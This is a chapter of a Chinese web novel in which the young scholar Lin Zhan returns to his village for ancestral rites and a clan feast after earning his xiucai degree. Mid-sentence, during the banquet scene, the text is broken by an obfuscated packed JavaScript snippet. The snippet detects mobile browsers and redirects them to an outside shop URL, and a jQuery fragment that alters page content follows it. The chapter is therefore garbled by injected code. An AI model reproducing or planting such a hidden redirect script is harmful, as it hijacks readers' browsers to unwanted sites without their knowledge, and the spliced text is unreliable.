“青云之友”的盟约,像一颗种子,悄然埋进了五个少年的心里。而另一件更为盛大、更为乡土的大事,紧接着提上了日程——回乡祭祖。
中了秀才,尤其是“小三元”秀才,按林家村的族规和本地风俗,必须择吉日,备三牲祭礼,至祠堂告慰祖先,以光耀门楣。这不仅是林湛一个人的事,更是整个林氏一族,乃至整个林家村的荣耀。
日子选在十月初九,据说是族老们翻烂了黄历挑出的“上上大吉”。消息一传出,整个村子都动了起来。族长亲自发话,这是林家村几十年未有的喜事,要办得体面、热闹。各家各户都凑了份子,有的出钱,有的出力,有的拿出珍藏的山货野味。
祭祖前三天,林家小院就开始不得安宁。王氏和林大山被各种琐事支使得团团转。定做的新衣送来了,是王氏一针一线赶制的深蓝色绸面长衫,配同色方巾,针脚细密。林湛试穿时,王氏围着他转了好几圈,眼眶又红了:“合身,合身……我儿穿着,真像个大人了。”
铁柱家几乎全家出动。赵婶带着几个手脚利落的妇人,负责准备祭祖后的“族宴”;铁柱爹领着石匠兄弟们,将祠堂前那对老旧的石狮子重新打磨了一遍;铁柱自己则成了“总务”,跑腿传话、搬运东西,忙得脚不沾地,却乐呵呵的,逢人就说:“给湛哥儿办事,我乐意!”
周文渊家也送来了一份厚礼,周老先生还亲自写了篇言辞恳切的祭文,让周文渊誊抄好带给林湛备用。王砚之从县里托人捎来两坛好酒。沈千机更是大手笔,直接让人从府城运来一整头上好的黑毛猪,还有各色精细糕点,把村口空地都占了一角,引得全村孩子围着看热闹。
十月初九,天公作美,秋阳高照。林家祠堂早已被打扫得纤尘不染,香烛高烧,红毡铺地。祠堂门楣上,“林氏宗祠”的匾额被擦得锃亮,两旁新贴了红纸对联,是村里一位老童生拟的:“三元及第光前烈,一脉书香启后昆。”
辰时正,林湛身着新衫,头戴方巾,在族长和几位族老的引领下,来到祠堂前。他身后,跟着身穿整洁新衣的林大山、王氏和大丫,再后面是林氏各房的男丁代表,以及全村前来观礼的老少。
仪式庄重。先由族长诵读告祖文,细数林氏先祖迁徙垦殖、开枝散叶的艰辛,颂扬林湛“幼慧勤学,连捷三元,扬名科场,为族争光”。接着,林湛上前,对着祖宗牌位行三跪九叩大礼,敬香,酹酒,将那份誊抄好的祭文在铜盆中焚化。青烟袅袅升起,盘旋于祠堂梁柱之间。
礼成,族长高声宣布:“林氏第十六世孙林湛,得中秀才,连夺三元,光耀我族门楣!自今日起,录入族谱‘功名篇’,享春秋二祭!其父林大山,教子有功,族中公议,拨出公田三亩,永为其家祭田!”
人群爆发出热烈的欢呼。林大山激动得嘴唇哆嗦,想说什么却发不出声,只是深深弯腰向族长和族老们作揖。王氏早已泪流满面,被几个相熟的婶子扶着。大丫紧紧攥着弟弟的衣角,眼睛亮晶晶的。
接下来是热闹的“游村”。林湛骑上一匹披红挂彩的骡子——这是村里能找出的最体面的牲口了,由铁柱牵着,缓缓从祠堂出发,沿着村中主道游行。族老们走在前头,后面跟着吹鼓手,咿咿呀呀吹着喜庆的调子。道路两旁挤满了村民,孩子们追着骡子跑,大人们指指点点,笑语喧天。
“看!那就是湛哥儿!咱们村的秀才老爷!”
“真精神!瞧着就聪明!”
“林家可算熬出头了!大山兄弟有福啊!”
“往后咱们村也有了读书种子,看外村还敢不敢笑话咱们是穷山沟!”
游行队伍最后停在林家小院门口。那对崭新的楣杆上,此时已系上了红绸,在风中飘飘扬扬,分外醒目。院门两侧,贴着孙夫子亲笔写的大红对联:“一门和气祯祥聚,千里青云咫尺遥。”
族宴就设在祠堂前的空地上,摆了二十多桌。赵婶她们使出浑身解数,将沈千机送来的猪肉、各家的山货、新收的菜蔬,整治成丰盛的席面。大碗的炖肉、整条的煎鱼、金黄的炒蛋、碧绿的青菜,还有用新米蒸的、堆得冒尖的白饭,香气四溢。
全村男女老少,几乎都来了。人们不分亲疏,围着桌子坐下,大块吃肉,大声谈笑,觥筹交错。族长和几位族老拉着林湛坐在主桌,不住地给他夹菜,询问省城见闻、学政风范。林湛一一应答,态度依旧谦和,赢得一片称赞。
铁柱端着碗,在各个桌子间穿梭,嘴里塞得鼓鼓囊囊,还不忘嚷嚷:“多吃点!都多吃点!今天是咱们村的大
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179317|196937||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
日子!”
几个半大孩子挤到林湛身边,仰着小脸问:“湛哥儿,秀才老爷是不是就不用干活了?”“湛哥儿,你以后要当大官吗?”
林湛笑着摸摸他们的头:“秀才也要读书,更要明理。当不当官不重要,重要的是学了本事,能帮衬家里,能为乡亲们做点实在事。”
这话被旁边的老人们听见,纷纷点头:“听听!这才是读书人的见识!不忘本!”
宴席一直持续到日头西斜。酒足饭饱,人们渐渐散去,脸上都带着满足的红光。林家小院里,终于安静下来。满地狼藉自有族里安排的妇人收拾,王氏和林大山被劝着回屋歇息——他们今日笑得太多,说得太多,早已疲惫不堪。
林湛独自站在院中。夕阳的余晖将楣杆的影子拉得斜斜的,投在刚刚清扫过的青石地面上。空气中还飘散着饭菜和鞭炮的余味,混合着秋日傍晚的清冷。
他走到那对楣杆下,仰头望去。朱红的木斗在暮色中变成暗沉的紫色,系着的红绸在晚风里轻轻摆动。就在几个月前,这个院子还只有低矮的土墙、漏雨的茅顶,父母为了一顿饱饭、一件冬衣日夜操劳,自己则要为最基本的生存和那遥不可及的科举盘缠绞尽脑汁。
如今,青砖瓦房虽不华丽却结实温暖,楣杆立起宣告着门第的变迁,父母脸上多了舒展的笑容,自己身上穿着象征功名的青衫。从赤贫的“外来户”,到受全村尊敬的“秀才门第”,这条路,他一步步走过来了。
铁柱不知何时凑了过来,手里拿着两个烤得焦香的红薯,递给他一个:“吃点儿,垫垫。忙活一天,都没见你吃几口。”
林湛接过,掰开,热气混着甜香扑鼻。“铁柱哥,谢谢你。”他轻声道。
“谢啥!”铁柱咬了一大口红薯,含糊道,“咱是‘青云之友’!再说了,看着你家这样,我打心眼里高兴!”他顿了顿,看着那对楣杆,“就是……就是觉得,你飞得越来越高,我有点儿……跟不上了。”
林湛拍拍他的肩膀:“根扎得深,树才长得高。铁柱哥,你就是我的根。没有你,没有赵婶赵叔,没有村里这些乡亲,就没有今天的林湛。咱们的‘青云路’,是一起走的。”
铁柱用力点头,咧开嘴笑了,露出一口白牙。